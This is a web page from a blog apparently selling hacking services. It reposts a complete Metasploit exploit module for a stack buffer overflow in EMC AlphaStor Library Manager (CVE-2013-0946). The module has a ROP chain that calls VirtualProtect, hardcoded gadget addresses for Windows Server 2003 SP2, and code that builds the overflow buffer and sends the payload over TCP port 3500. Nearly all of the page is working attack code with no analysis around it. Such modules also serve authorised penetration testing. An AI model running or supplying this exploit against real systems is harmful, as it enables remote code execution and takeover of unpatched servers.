Jump to content

Hacker Technology

A group blog by Leader in Hacker Website - Providing Professional Ethical Hacking Services

  • Entries

    16114

  • Comments

    7952

  • Views

    86378882

Contributors to this blog

  • HireHackking 16114

About this blog

Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.

HireHackking 
require 'msf/core'

class MetasploitModule < Msf::Exploit::Remote
	Rank = GreatRanking

	include Msf::Exploit::Remote::Tcp

	def initialize(info = {})
		super(update_info(info,
			'Name'           => 'EMC AlphaStor Library Manager Opcode 0x4f',
			'Description'    => %q{
				This module exploits a stack based buffer overflow found in EMC
				Alphastor Library Manager version < 4.0 build 910. The overflow
				is triggered due to a lack of sanitization of the pointers used
				for two strcpy functions.
			},
			'Author'         => [ 'james fitts' ],
			'License'        => MSF_LICENSE,
			'References'     =>
				[
					[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-14-029/' ],
					[ 'CVE', '2013-0946' ]
				],
			'DefaultOptions' =>
				{
					'EXITFUNC' => 'thread',
					'wfsdelay'	=>	1000
				},
			'Privileged'     => true,
			'Payload'        =>
				{
					'Space'	=> 160,
					'DisableNops'	=> 'true',
					'BadChars' => "\x00\x09\x0a\x0d",
					'StackAdjustment' => -404,
					'PrependEncoder' => "\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff",
					'Compat'        =>
						{
							'SymbolLookup' => 'ws2ord',
						},
				},
			'Platform'       => 'win',
			'Targets'        =>
				[
					[ 
						'Windows Server 2003 SP2 EN', 
							{ 
								# msvcrt.dll
								# add esp, 0c/ retn
								'Ret' => 0x77bdda70, 
							} 
					],
				],
			'DefaultTarget'  => 0,
			'DisclosureDate' => 'Feb 13 2014'))

		register_options(
			[
				Opt::RPORT(3500)
			], self.class )
	end

	def exploit
		connect

		p =  "\x90" * 8
		p << payload.encoded

		# msvcrt.dll
		# 96 bytes
		rop = [
			0x77bb2563,	# pop eax/ retn 
      0x77ba1114,	# ptr to kernel32!virtualprotect
      0x77bbf244,	# mov eax, dword ptr [eax]/ pop ebp/ retn
      0xfeedface,
      0x77bb0c86,	# xchg eax, esi/ retn
      0x77bc9801,	# pop ebp/ retn
      0x77be2265,
      0x77bb2563,	# pop eax/ retn
      0x03C0990F,
      0x77bdd441,	# sub eax, 3c0940fh/ retn
      0x77bb48d3,	# pop eax/ retn
      0x77bf21e0,
      0x77bbf102,	# xchg eax, ebx/ add byte ptr [eax], al/ retn
      0x77bbfc02,	# pop ecx/ retn
      0x77bef001,
      0x77bd8c04,	# pop edi/ retn
      0x77bd8c05,
      0x77bb2563,	# pop eax/ retn
      0x03c0984f,
      0x77bdd441,	# sub eax, 3c0940fh/ retn
      0x77bb8285,	# xchg eax, edx/ retn
      0x77bb2563,	# pop eax/ retn
      0x90909090,
      0x77be6591,	# pushad/ add al, 0efh/ retn
		].pack("V*")

		buf = Rex::Text.pattern_create(514)
		buf[0, 2] =  "O~"											# opcode
		buf[13, 4] = [0x77bdf444].pack('V')		# stack pivot 52
		buf[25, 4] = [target.ret].pack('V')		# stack pivot 12
		buf[41, 4] = [0x77bdf444].pack('V')		# stack pivot 52
		buf[57, 4] = [0x01167e20].pack('V')		# ptr
		buf[69, rop.length] = rop
		buf[165, 4] = [0x909073eb].pack('V')	# jmp $+117
		buf[278, 4] = [0x0116fd59].pack('V')	# ptr
		buf[282, p.length] = p
		buf[512, 1] = "\x00"

		# junk
		buf << "AAAA"
		buf << "BBBB"
		buf << "CCCC"
		buf << "DDDD"

		print_status("Trying target %s..." % target.name)

		sock.put(buf)

		handler
		disconnect
	end

end